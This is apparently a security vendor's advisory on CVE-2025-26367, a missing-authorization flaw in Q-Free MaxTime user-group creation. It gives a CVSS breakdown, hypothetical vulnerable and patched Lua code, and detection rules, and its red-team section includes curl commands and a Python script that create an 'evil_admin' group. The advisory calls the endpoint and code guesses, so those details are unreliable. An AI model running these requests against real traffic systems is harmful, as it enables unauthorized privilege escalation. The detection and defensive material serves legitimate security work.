CVE-2025-26367

Executive Summary

CVE-2025-26367 is a Missing Authorization vulnerability (CWE-862) in Q-Free MaxTime, affecting versions up to and including 2.11.0. The flaw resides in the maxprofile/user-groups/routes.lua file, allowing an authenticated low-privileged attacker to create arbitrary user groups via crafted HTTP requests. With a CVSS score of 4.3 (Medium), the vulnerability primarily impacts the integrity of the system by enabling unauthorized privilege escalation through group creation. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary traffic management system (Q-Free MaxTime) and is not distributed via open-source package registries.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs valid low-privileged credentials.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and impacted component are the same.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Unauthorized creation of user groups can lead to privilege escalation.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability to create arbitrary user groups can be a stepping stone for further attacks, such as privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authorization checks in the maxprofile/user-groups/routes.lua file. This file likely handles HTTP requests for creating, modifying, or deleting user groups. The absence of proper access control allows any authenticated user, regardless of their role, to send a crafted POST request to the endpoint responsible for group creation.

Attack Flow:

1. An attacker authenticates as a low-privileged user (e.g., a standard operator).
2. The attacker crafts an HTTP request (e.g., POST to /maxprofile/user-groups/create) with parameters defining a new group (e.g., group_name=admin_group, permissions=admin).
3. The server processes the request without verifying if the authenticated user has the right to create groups.
4. The new group is created, potentially with elevated permissions, allowing the attacker to escalate privileges.

Root Cause: The routes.lua file likely uses a routing framework (e.g., Lapis or similar) where authorization checks are either missing or improperly implemented. The endpoint for group creation does not call an authorization middleware or check the user's role before executing the creation logic.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for CWE-862.

Vulnerable Code (routes.lua):

-- Vulnerable: No authorization check
app:post("/maxprofile/user-groups/create", function(self)
    local group_name = self.params.group_name
    local permissions = self.params.permissions
    -- Directly create the group without checking user role
    db:execute("INSERT INTO user_groups (name, permissions) VALUES (?, ?)", group_name, permissions)
    return { status = "success" }
end)

Patched Code (routes.lua):

-- Patched: Authorization check added
app:post("/maxprofile/user-groups/create", function(self)
    -- Check if user has admin role
    if not self.current_user or self.current_user.role ~= "admin" then
        return { status = "error", message = "Unauthorized" }, 403
    end
    local group_name = self.params.group_name
    local permissions = self.params.permissions
    db:execute("INSERT INTO user_groups (name, permissions) VALUES (?, ?)", group_name, permissions)
    return { status = "success" }
end)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Q-Free MaxTime instance (version <= 2.11.0)
• Valid low-privileged credentials (e.g., username: operator, password: password123)

Exploitation Steps:

1. Authenticate and obtain a session cookie.
2. Send a crafted POST request to create an admin group:

curl -X POST https://target/maxprofile/user-groups/create \
  -H "Cookie: session=valid_session_cookie" \
  -d "group_name=evil_admin&permissions=full_access"

3. Verify the group was created by listing groups:

curl https://target/maxprofile/user-groups/list \
  -H "Cookie: session=valid_session_cookie"

4. Optionally, add your user to the new group to escalate privileges.

Automated Exploit (Python):

import requests

target = "https://target"
session = requests.Session()
# Authenticate
login_data = {"username": "operator", "password": "password123"}
session.post(f"{target}/login", data=login_data)
# Create group
group_data = {"group_name": "evil_admin", "permissions": "full_access"}
r = session.post(f"{target}/maxprofile/user-groups/create", data=group_data)
print(r.text)

Blue Team

Detection:

• Monitor for unusual POST requests to /maxprofile/user-groups/create from non-admin users.
• Alert on creation of groups with suspicious names (e.g., "admin", "root", "backdoor").
• Correlate with authentication logs to identify low-privileged users performing administrative actions.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri="/maxprofile/user-groups/create" method=POST
| eval is_admin=if(user_role="admin", "yes", "no")
| where is_admin="no"
| table _time, src_ip, user, user_agent, uri

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /maxprofile/user-groups/create with parameters group_name and permissions.
  • Unusual group names in HTTP responses (e.g., "evil_admin", "backdoor_group").
• System IOCs:
  • New entries in the user_groups database table with unexpected names.
  • Log entries showing group creation by non-admin users.
• File IOCs:
  • Modified routes.lua file (if attacker patches the vulnerability themselves).

Detection Engineering

YARA Rule

rule CVE_2025_26367_Missing_Auth {
    meta:
        description = "Detects exploitation attempts for CVE-2025-26367 in Q-Free MaxTime"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26367"
    strings:
        $s1 = "/maxprofile/user-groups/create" ascii wide nocase
        $s2 = "group_name=" ascii wide nocase
        $s3 = "permissions=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-26367 - Missing Authorization in Q-Free MaxTime
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized creation of user groups via crafted HTTP requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/maxprofile/user-groups/create'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26367 - Q-Free MaxTime Missing Authorization"; flow:to_server,established; content:"POST"; http_method; content:"/maxprofile/user-groups/create"; http_uri; content:"group_name="; http_client_body; content:"permissions="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Limit access to the MaxTime web interface to trusted IPs only using firewall rules.
2. Enforce Strong Authentication: Ensure all users have strong passwords and consider multi-factor authentication.
3. Monitor Logs: Enable detailed logging for all POST requests to /maxprofile/user-groups/create and review regularly.

Long-Term Fix:

• Vendor Patch: Await an official patch from Q-Free. Contact their support for a timeline.
• Code Fix: If source code is available, add authorization checks in routes.lua as shown in the patched code example.
• Workaround: If patching is not possible, consider disabling the user group creation feature by removing or renaming the endpoint in the web server configuration.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with a custom rule to block POST requests to /maxprofile/user-groups/create from non-admin IPs.
• Implement an Intrusion Prevention System (IPS) using the Suricata rule above.

Valters IT
Securing Digital Frontiers